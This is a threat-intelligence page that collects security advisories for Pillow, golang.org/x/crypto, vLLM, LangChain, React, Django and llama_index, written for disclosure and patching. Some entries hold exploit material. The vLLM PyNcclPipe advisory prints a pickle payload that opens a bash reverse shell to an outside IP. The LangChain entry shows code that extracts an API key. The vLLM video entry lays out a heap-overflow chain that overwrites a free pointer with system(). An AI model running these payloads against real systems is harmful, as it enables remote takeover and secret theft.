Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

68threats · Critical· page 1/4
Get guardrails →

Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

Summary When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysizestride <= buffer_len but never checks that stride is at least the natural row width xsize pixelsize. The McIdas* AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsizepixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(), getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). Complete Code Trace Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation. ``python src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.area_descriptor = w = [0, struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] w[11] w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ` Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer. `python src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] args[1] > self.map.size(): # == offset + ysizestride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1) ) ` Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width. `c / src/map.c:65-140 / if (!PyArg_ParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); / "L" / if (stride <= 0) { / attacker sets stride=1 (>0) -> NOT recomputed / if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize 2; else stride = xsize 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/ overflow guard only / PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL; } size = (Py_ssize_t)ysize stride; / = 11 = 1 / if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { / 1 + 1 = 2 <= 256 -> PASSES / PyErr_SetString(PyExc_ValueError, "buffer is not large enough"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); / im->linesize = xsize pixelsize = 200000 (the REAL per-row read width) / / setup file pointers -- NO check that stride >= im->linesize / if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char )view.buf + offset + y stride; / row points into mmap, spacing=1 / } } else { ... } ` im->linesize (the number of bytes any consumer reads per row) is xsize pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysizestride = 2 bytes "claimed". Nothing reconciles the two. Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap. `c / the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. / ` Chain Summary ` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin._open: stride = w[15]+w[10]w[11]w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysizestride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ` Proof of Concept See attached poc.zip Impact on a Parent Application Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS. Suggested fix Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize` .

golang.org/x/crypto: Invoking VerifiedPublicKeyCallback permissions skip enforcement

Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.

OWASP A01OWASP Web
Get guardrail →

golang.org/x/crypto vulnerable to auth bypass via unenforced @revoked status

Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.

OWASP A02OWASP Web
Get guardrail →

golang.org/x/crypto vulnerable to infinite loop on large channel writes

When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.

golang.org/x/crypto: FIDO/U2F security key physical presence check can be bypassed

The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback.

golang.org/x/crypto: Invoking client can cause server deadlock on unexpected responses

A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.

golang.org/x/crypto doesn't drop invoking agent constraints when forwarding keys

When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →

golang.org/x/crypto doesn't enforce invoking key constraints

The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.

vLLM: OpenAI auth bypass

Summary A vulnerability in ASGI web servers and starlette's trust on those web servers enables an authentication bypass of the OpenAI API AuthenticationMiddleware, which was discovered during @x41sec's source code audit. It allows to use the API without providing the configured VLLM_API_KEY or --api-key. Details In https://github.com/vllm-project/vllm/blob/v0.14.0/vllm/entrypoints/openai/api_server.py#L689-L692 the url_path is taken from the URL, which is reconstructed by _starlette_ based on the request scope. ``py from starlette.datastructures import URL, Headers, MutableHeaders, State ... url_path = URL(scope=scope).path.removeprefix(root_path) headers = Headers(scope=scope) if url_path.startswith("/v1") and not self.verify_token(headers): response = JSONResponse(content={"error": "Unauthorized"}, status_code=401) return response(scope, receive, send) return self.app(scope, receive, send) ` The request scope includes the request's Host: header and reconstructs the URL as shown below: `py f"{scheme}://{host_header}{path}" ` Neither starlette nor any of the ASGI servers (including uvicorn, which vllm uses) properly filter the Host: header for invalid characters. This allows an attacker to include special URL characters such as / or ? in the Host: header and thereby control the reconstructed URL and it's .path attribute. FastAPI/starlette's routing uses the HTTP path and does not depend on the parsed url.path attribute, allowing attackers to reach an endpoint via a certain path while providing a different value in the .path`. Impact Instances of vllm that use an API Key for the OpenAI API and expose the API to attackers. Instances behind an RFC-conforming web server (such as nginx) are not affected.

huggingface/transformers: Arbitrary Code Execution During Model Initialization in the LightGlue Model Loading Path

A vulnerability in the LightGlue model loading path of huggingface/transformers version 5.2.0 allows an attacker-controlled model repository to execute arbitrary code during model initialization. The issue arises because the trust_remote_code parameter, intended to prevent remote code execution, is overridden by untrusted serialized configuration data in a nested code path. Specifically, when loading a LightGlue model using AutoModel.from_pretrained() with trust_remote_code=False, the LightGlueConfig reads the trust_remote_code value from the untrusted config.json file and propagates it into nested AutoConfig.from_pretrained() calls. This results in the execution of attacker-provided Python modules, even when the victim explicitly disables remote code execution. The vulnerability poses a high risk for environments such as API inference servers, research notebooks, CI/CD pipelines, and model evaluation workers, potentially leading to credential theft, lateral movement, or persistence/backdoor deployment.

Fiber has an insecure fallback in utils.UUIDv4() / utils.UUID() — predictable / zero‑UUID on crypto/rand failure

Fiber v2 contains an internal vendored copy of gofiber/utils, and its functions UUIDv4() and UUID() inherit the same critical weakness described in the upstream advisory. On Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. In such cases, these Fiber v2 UUID functions silently fall back to generating predictable values — the all-zero UUID 00000000-0000-0000-0000-000000000000. On Go 1.24+, the language guarantees that crypto/rand no longer returns an error (it will block or panic instead), so this vulnerability primarily affects Fiber v2 users running Go 1.23 or earlier, which Fiber v2 officially supports. Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4(). Impact includes, but is not limited to: Session fixation or hijacking (predictable session IDs) CSRF token forgery or bypass Authentication replay / token prediction Potential denial-of-service (DoS): if the zero UUID is generated, key-based structures (sessions, rate-limits, caches, CSRF stores) may collapse into a single shared key, causing overwrites, lock contention, or state corruption Request-ID collisions, undermining logging and trace integrity General compromise of confidentiality, integrity, and authorization logic relying on UUIDs for uniqueness or secrecy All Fiber v2 versions containing the internal utils.UUIDv4() / utils.UUID() implementation are affected when running on Go <1.24. No patched Fiber v2 release currently exists. --- Suggested Mitigations / Workarounds Update to the latest version of Fiber v2. --- Likelihood / Environmental Factors It’s important to note that entropy exhaustion on modern Linux systems is extremely rare, as the kernel’s CSPRNG is resilient and non-blocking. However, entropy-source failures — where crypto/rand cannot read from its underlying provider — are significantly more likely in certain environments. This includes containerized deployments, restricted sandboxes, misconfigured systems lacking read access to /dev/urandom or platform-equivalent sources, chrooted or jailed environments, embedded devices, or systems with non-standard or degraded randomness providers. On Go <1.24, such failures cause crypto/rand to return an error, which the Fiber v2 UUID functions currently treat as a signal to silently generate predictable UUIDs, including the zero UUID. This silent fallback is the root cause of the vulnerability. --- References Upstream advisory for gofiber/utils: GHSA-m98w-cqp3-qcqr Source repositories: github.com/gofiber/fiber github.com/gofiber/utils --- Credits / Reporter Reported by @sixcolors (Fiber Maintainer / Security Team)

2 rules

vLLM has RCE In Video Processing

Summary A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE): 1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR 2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth. Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1. Deployments not serving a video model are not affected. --- 1. Vulnerability Overview 1.1 The Bug: JPEG2000 cdef Box Heap Overflow The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow. Root Cause cdef allows channel remapping (e.g., Y→U, U→Y). Y plane size: W×H; U plane size: (W/2)×(H/2). Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes. Example (150×64) Y plane: 150×64 = 9,600 bytes U plane: 75×32 = 2,400 bytes Overflow: 7,200 bytes past the U buffer 1.2 Malicious cdef Box `` Offset Size Field Value 0 4 Box Length 0x00000016 (22 bytes) 4 4 Box Type 'cdef' 8 2 N (channels) 0x0003 10 2 Channel 0 Cn 0x0000 (Y channel) 12 2 Channel 0 Typ 0x0000 (color) 14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane) 16 2 Channel 1 Cn 0x0001 (U channel) 18 2 Channel 1 Typ 0x0000 (color) 20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane) 22 2 Channel 2 Cn 0x0002 (V channel) 24 2 Channel 2 Typ 0x0000 (color) 26 2 Channel 2 Asoc 0x0003 (→ maps V plane) ` Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow. --- Vulnerable Code Chain 1) Entry: vLLM accepts a remote video_url and downloads raw bytes vLLM’s OpenAI-compatible API supports a video_url content part: `python class VideoURL(TypedDict, total=False): url: Required[str] class ChatCompletionContentPartVideoParam(TypedDict, total=False): video_url: Required[VideoURL] type: Required[Literal["video_url"]] ` Source: src/vllm/entrypoints/chat_utils.py. When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader: `python if url_spec.scheme.startswith("http"): data = connection.get_bytes(url, timeout=fetch_timeout, allow_redirects=...) return media_io.load_bytes(data) ` Source: src/vllm/multimodal/utils.py (MediaConnector.load_from_url). --- 2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes: `python backend = cls().get_cv2_video_api() cap = cv2.VideoCapture(BytesIO(data), backend, []) if not cap.isOpened(): raise ValueError("Could not open video stream") ` Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.load_bytes). The backend is selected from OpenCV’s stream-buffered backends registry: `python import cv2.videoio_registry as vr for backend in vr.getStreamBufferedBackends(): if vr.hasBackend(backend) and ...: api_pref = backend break return api_pref ` Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.get_cv2_video_api). Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000). --- 3) The actual overflow: Y (full-res) written into U (quarter-res) When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes: Y plane bytes: \(W \times H\) U plane bytes: \((W/2) \times (H/2)\) Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\) Concrete example tried (150×64): Y: \(150 \times 64 = 9600\) bytes U: \(75 \times 32 = 2400\) bytes Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout. --- The Exploit Chain Vuln 1: PIL BytesIO Address Leak (ASLR Bypass) When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like: ` cannot identify image file <_io.BytesIO object at 0x7a95e299e750> ^^^^^^^^^^^^^^^^ LEAKED ADDRESS! ` vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses. Vuln 2: JPEG2000 cdef Heap Overflow (RCE) vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln: ` vLLM API Request to Completions/Invocation ↓ OpenCV cv2.VideoCapture() ↓ FFmpeg 5.1 (bundled in OpenCV) ↓ JPEG2000 decoder (libopenjp2) ↓ HEAP OVERFLOW via malicious "cdef" box ↓ Overwrite function pointer → RCE! ` How the overflow works: JPEG2000 has a cdef box that remaps color channels We remap Y (luma) into the U (chroma) buffer Y plane = 9,600 bytes, U plane = 2,400 bytes On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images. This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets. We set free = system() and opaque = "command string" When the buffer is freed → system("our command") executes --- vLLM Attack Surface Affected Endpoints Both multimodal endpoints are vulnerable: ` POST /v1/chat/completions (with video_url in content) POST /v1/invocations (with video_url in content) ` Request Flow ` 1. Attacker sends request with video_url pointing to malicious .mov file 2. vLLM fetches the video from the URL 3. vLLM passes video bytes to cv2.VideoCapture() 4. OpenCV's bundled FFmpeg decodes JPEG2000 frames 5. Malicious cdef box triggers heap overflow 6. AVBuffer.free pointer overwritten with system() 7. When buffer is released → system("attacker command") executes `` --- Versions Affected | Component | Version | Notes | |-----------|---------|-------| | vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model | | OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable | | FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow | | libopenjp2 | 2.x | Honors malicious cdef box | --- Fixes https://github.com/vllm-project/vllm/pull/31987 https://github.com/vllm-project/vllm/pull/32319 https://github.com/vllm-project/vllm/pull/32668

OWASP A09OWASP LLM
Get guardrail →
2 rules

LangChain serialization injection vulnerability enables secret extraction in dumps/loads APIs

Summary A serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data. Attack surface The core vulnerability was in dumps() and dumpd(): these functions failed to escape user-controlled dictionaries containing 'lc' keys. When this unescaped data was later deserialized via load() or loads(), the injected structures were treated as legitimate LangChain objects rather than plain user data. This escaping bug enabled several attack vectors: 1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additional_kwargs, or response_metadata 2. Class instantiation within trusted namespaces: Injected manifests could instantiate any Serializable subclass, but only within the pre-approved trusted namespaces (langchain_core, langchain, langchain_community). This includes classes with side effects in __init__ (network calls, file operations, etc.). Note that namespace validation was already enforced before this patch, so arbitrary classes outside these trusted namespaces could not be instantiated. Security hardening This patch fixes the escaping bug in dumps() and dumpd() and introduces new restrictive defaults in load() and loads(): allowlist enforcement via allowed_objects="core" (restricted to serialization mappings), secrets_from_env changed from True to False, and default Jinja2 template blocking via init_validator. These are breaking changes for some use cases. Who is affected? Applications are vulnerable if they: 1. Use astream_events(version="v1") — The v1 implementation internally uses vulnerable serialization. Note: astream_events(version="v2") is not vulnerable. 2. Use Runnable.astream_log() — This method internally uses vulnerable serialization for streaming outputs. 3. Call dumps() or dumpd() on untrusted data, then deserialize with load() or loads() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures. 4. Deserialize untrusted data with load() or loads() — Directly deserializing untrusted data that may contain injected 'lc' structures. 5. Use RunnableWithMessageHistory — Internal serialization in message history handling. 6. Use InMemoryVectorStore.load() to deserialize untrusted documents. 7. Load untrusted generations from cache using langchain-community caches. 8. Load untrusted manifests from the LangChain Hub via hub.pull. 9. Use StringRunEvaluatorChain on untrusted runs. 10. Use create_lc_store or create_kv_docstore with untrusted documents. 11. Use MultiVectorRetriever with byte stores containing untrusted documents. 12. Use LangSmithRunChatLoader with runs containing untrusted messages. The most common attack vector is through LLM response fields like additional_kwargs or response_metadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations. Impact Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENV_VAR"]} to load environment variables during deserialization (when secrets_from_env=True, which was the old default). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within trusted namespaces with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations. Key severity factors: Affects the serialization path - applications trusting their own serialization output are vulnerable Enables secret extraction when combined with secrets_from_env=True (the old default) LLM responses in additional_kwargs can be controlled via prompt injection Exploit example ``python from langchain_core.load import dumps, load import os Attacker injects secret structure into user-controlled data attacker_dict = { "user_data": { "lc": 1, "type": "secret", "id": ["OPENAI_API_KEY"] } } serialized = dumps(attacker_dict) # Bug: does NOT escape the 'lc' key os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345" deserialized = load(serialized, secrets_from_env=True) print(deserialized["user_data"]) # "sk-secret-key-12345" - SECRET LEAKED! ` Security hardening changes (breaking changes) This patch introduces three breaking changes to load() and loads(): 1. New allowed_objects parameter (defaults to 'core'): Enforces allowlist of classes that can be deserialized. The 'all' option corresponds to the list of objects specified in mappings.py while the 'core' option limits to objects within langchain_core. We recommend that users explicitly specify which objects they want to allow for serialization/deserialization. 2. secrets_from_env default changed from True to False: Disables automatic secret loading from environment 3. New init_validator parameter (defaults to default_init_validator): Blocks Jinja2 templates by default Migration guide No changes needed for most users If you're deserializing standard LangChain types (messages, documents, prompts, trusted partner integrations like ChatOpenAI, ChatAnthropic, etc.), your code will work without changes: `python from langchain_core.load import load Uses default allowlist from serialization mappings obj = load(serialized_data) ` For custom classes If you're deserializing custom classes not in the serialization mappings, add them to the allowlist: `python from langchain_core.load import load from my_package import MyCustomClass Specify the classes you need obj = load(serialized_data, allowed_objects=[MyCustomClass]) ` For Jinja2 templates Jinja2 templates are now blocked by default because they can execute arbitrary code. If you need Jinja2 templates, pass init_validator=None: `python from langchain_core.load import load from langchain_core.prompts import PromptTemplate obj = load( serialized_data, allowed_objects=[PromptTemplate], init_validator=None ) ` > [!WARNING] > Only disable init_validator if you trust the serialized data. Jinja2 templates can execute arbitrary Python code. For secrets from environment secrets_from_env now defaults to False. If you need to load secrets from environment variables: `python from langchain_core.load import load obj = load(serialized_data, secrets_from_env=True) `` Credits Dumps bug was reported by @yardenporat Changes for security hardening due to findings from @0xn3va and @VladimirEliTokarev

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

React Server Components are Vulnerable to RCE

Impact There is an unauthenticated remote code execution vulnerability in React Server Components. We recommend upgrading immediately. The vulnerability is present in versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 of: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack Patches A fix was introduced in versions 19.0.1, 19.1.2, and 19.2.1. If you are using any of the above packages please upgrade to any of the fixed versions immediately. If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability. References See the blog post for more information and upgrade instructions.

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →

Next.js is vulnerable to RCE in React flight protocol

A vulnerability affects certain React packages<sup>1</sup> for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55182. Fixed in: React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+ The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76. All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately. <sup>1</sup> The affected React packages are: react-server-dom-parcel react-server-dom-turbopack react-server-dom-webpack

OWASP A08LLM05 · Supply ChainOWASP Web
Get guardrail →
2 rules

Django vulnerable to SQL injection via _connector keyword argument in QuerySet and Q objects.

An issue was discovered in 5.1 before 5.1.14, 4.2 before 4.2.26, and 5.2 before 5.2.8. The methods QuerySet.filter(), QuerySet.exclude(), and QuerySet.get(), and the class Q(), are subject to SQL injection when using a suitably crafted dictionary, with dictionary expansion, as the _connector argument. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank cyberstan for reporting this issue.

OWASP A03OWASP Web
Get guardrail →
2 rules

llama_index vulnerable to SQL Injection

Multiple vector store integrations in run-llama/llama_index version v0.12.21 have SQL injection vulnerabilities. These vulnerabilities allow an attacker to read and write data using SQL, potentially leading to unauthorized access to data of other users depending on the usage of the llama-index library in a web application.

OWASP A03OWASP LLM
Get guardrail →
2 rules

vLLM Allows Remote Code Execution via PyNcclPipe Communication Service

Impacted Environments This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected. Summary vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.​ A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface. This issue was reported privately to PyTorch and they determined that this behavior was intentional. Details The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution. 1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched: ``python from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe from vllm.config import KVTransferConfig config=KVTransferConfig( kv_ip="0.0.0.0", kv_port=18888, kv_rank=0, kv_parallel_size=1, kv_buffer_size=1024, kv_buffer_device="cpu" ) p=PyNcclPipe(config=config,local_rank=0) p.recv_tensor() # Receive data ` 2. The attacker crafts malicious packets and sends them to the PyNcclPipe service: `python from vllm.distributed.utils import StatelessProcessGroup class Evil: def __reduce__(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,)) client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, world_size=2, ) client.send_obj(obj=Evil(),dst=0) ` The call stack triggering ​RCE is as follows: ` vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata -> vllm.distributed.utils.StatelessProcessGroup.recv_obj -> pickle.loads ` Getshell as follows: !image Reporters This issue was reported independently by three different parties: @kikayli (Zhuque Lab, Tencent) @omjeki Russell Bryant (@russellb) Fix https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore` socket to the private interface as configured.

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

vLLM Vulnerable to Remote Code Execution via Mooncake Integration

Impacted Deployments Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable. Description vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack. This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179 Here recv_pyobj() Contains implicit pickle.loads(), which leads to potential RCE.

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →
2 rules

vLLM allows Remote Code Execution by Pickle Deserialization via AsyncEngineRPCServer() RPC server entrypoints

vllm-project vllm version 0.6.0 contains a vulnerability in the AsyncEngineRPCServer() RPC server entrypoints. The core functionality run_server_loop() calls the function _make_handler_coro(), which directly uses cloudpickle.loads() on received messages without any sanitization. This can result in remote code execution by deserializing malicious pickle data.

OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →

Showing 1–20 of 68 threats